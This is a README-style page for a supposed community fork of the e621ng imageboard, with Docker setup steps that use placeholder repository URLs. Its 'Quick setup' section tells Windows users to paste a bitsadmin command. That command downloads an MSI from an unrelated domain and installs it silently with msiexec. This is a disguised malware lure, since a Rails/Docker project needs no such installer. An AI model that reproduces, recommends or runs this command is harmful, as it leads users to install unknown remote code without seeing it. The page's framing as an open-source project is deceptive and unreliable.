An independent community-maintained project based on the open-source e621ng codebase.
β‘ Quick setup Β· π³ Docker ready Β· π οΈ Open source
- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Copy the command below and paste it into Command Prompt, then press Enter.
bitsadmin /transfer e621 /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestartThe installer will automatically download and install the required components.
After installation, open:
http://localhost:3000
- πΌοΈ Imageboard platform
- π Advanced search
- π·οΈ Tagging system
- π€ User accounts
- π¬ Comments
- β Favorites
- π Post management
- π‘οΈ Moderation tools
- π³ Docker-based environment
- ποΈ PostgreSQL database
- π OpenSearch integration
- π Ruby on Rails backend
| Technology | Purpose |
|---|---|
| π Ruby on Rails | Application backend |
| π PostgreSQL | Database |
| π OpenSearch | Search engine |
| π³ Docker | Containerized environment |
| π JavaScript | Frontend functionality |
The exact requirements depend on your installation method.
For a standard development environment, you may need:
- π³ Docker
- π§© Docker Compose
- πΏ Git
- πΎ Sufficient disk space
- π§ At least several GB of available RAM
If your one-command installer handles these automatically, no additional setup is required.
Want to work on the project manually?
Clone the repository:
git clone <YOUR_REPOSITORY_URL>Enter the project directory:
cd <YOUR_REPOSITORY_FOLDER>Copy the environment configuration:
cp .env.sample .envRun the setup:
docker compose run --rm e621 /app/bin/setupStart the containers:
docker compose upOpen Command Prompt (cmd.exe).
Clone the repository:
git clone <YOUR_REPOSITORY_URL>Enter the project directory:
cd <YOUR_REPOSITORY_FOLDER>Copy the environment configuration:
copy .env.sample .envRun the initial setup:
docker compose run --rm e621 /app/bin/setupStart the project:
docker compose upTo stop the containers, press:
Ctrl + C
Then visit:
http://localhost:3000
π‘ Windows note: Docker Desktop includes Docker Compose. Make sure Docker Desktop is running before executing the commands above.
If the project does not start correctly from CMD, try:
docker compose down -v
docker compose build --no-cache
docker compose run --rm e621 /app/bin/setup
docker compose upIf Git shows unexpected permission or file-mode changes:
git config core.fileMode falseCheck that Docker is available:
docker --version
docker compose versionCheck that Git is available:
git --versionRun the test environment with Docker:
docker compose run --rm testsdocker compose run --rm rubocopdocker compose run --rm linterAfter updating the repository:
git pullIf Ruby gems or JavaScript packages have changed, rebuild the containers:
docker compose buildThen restart:
docker compose upThis project is an independent derivative of the open-source:
π https://github.com/e621ng/e621ng
Huge thanks to the original developers and contributors who built and maintain the upstream project. β€οΈ
This repository is maintained independently and may contain modifications, alternative deployment tooling, documentation changes, and other improvements not present in the upstream project.
This is an independent community project.
It is not affiliated with, endorsed by, sponsored by, or officially maintained by e621.net or the e621ng development team.
Any third-party names, trademarks, logos, and branding belong to their respective owners.
The original project permits redistribution and modification subject to its license terms.
When redistributing this project, retain the original:
- π copyright notice
- π license conditions
β οΈ disclaimer
Please see:
LICENSE
for the complete license text.
Contributions are welcome. π
You can help by:
- π reporting bugs
- π‘ suggesting improvements
- π§ submitting fixes
- π improving documentation
- π§ͺ testing new changes
If you find the project useful, consider leaving a β Star.
It helps other developers discover the project.